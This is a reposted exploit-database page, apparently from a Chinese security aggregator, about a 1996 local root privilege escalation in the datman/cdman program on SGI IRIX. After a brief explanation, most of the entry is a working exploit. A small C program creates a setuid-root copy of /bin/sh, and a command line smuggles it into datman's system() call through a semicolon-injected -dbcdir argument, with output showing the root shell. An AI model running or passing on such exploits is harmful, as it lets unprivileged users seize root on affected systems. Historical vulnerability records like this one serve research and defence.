SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation

admin 2021年4月8日18:00:59SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation已关闭评论37 views字数 1196阅读3分59秒阅读模式

SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation

漏洞ID 1053344 漏洞类型
发布时间 1996-12-09 更新时间 1996-12-09
SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation CVE编号 N/A
SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalation CNNVD-ID N/A
漏洞平台 IRIX CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19275
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/347/info

A vulnerability exists in the datman/cdman program, as included with Irix 6.2 and 5.3 from Silicon Graphics Inc. The vulnerability would allow arbitrary users to execute commands as root.

The datman/cdman program will search for the existance of a .cdplayerrc in the users home directory. If it is found, and no .cddb directory is found, cdman will run the cddbcvt program. This program is invoked with the names of both the old and new databases via a system() call. Because of this, it is possible to substitute the names of the database with a command to be executed. 


% cat > /tmp/makesh.c
main()
{
seteuid(0); setegid(0);
system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
}
% cc /tmp/makesh.c -o /tmp/makesh
% mv .cddb .cddb.old
% touch .cdplayerrc
% /usr/sbin/datman -dbcdir "/tmp/blah;/tmp/makesh"
Created "/tmp/blah"
Converting /home/medc2/yuri/.cdplayerrc into /tmp/blah
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh*

相关推荐: WordPress Ninja Forms Contact Form 输入验证错误漏洞

WordPress Ninja Forms Contact Form 输入验证错误漏洞 漏洞ID 2405670 漏洞类型 输入验证错误 发布时间 2021-04-05 更新时间 2021-04-06 CVE编号 CVE-2021-24165 CNNVD-ID…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月8日18:00:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SGI IRIX 6.4 - 'datman'/'cdman' Local Privilege Escalationhttp://cn-sec.com/archives/329848.html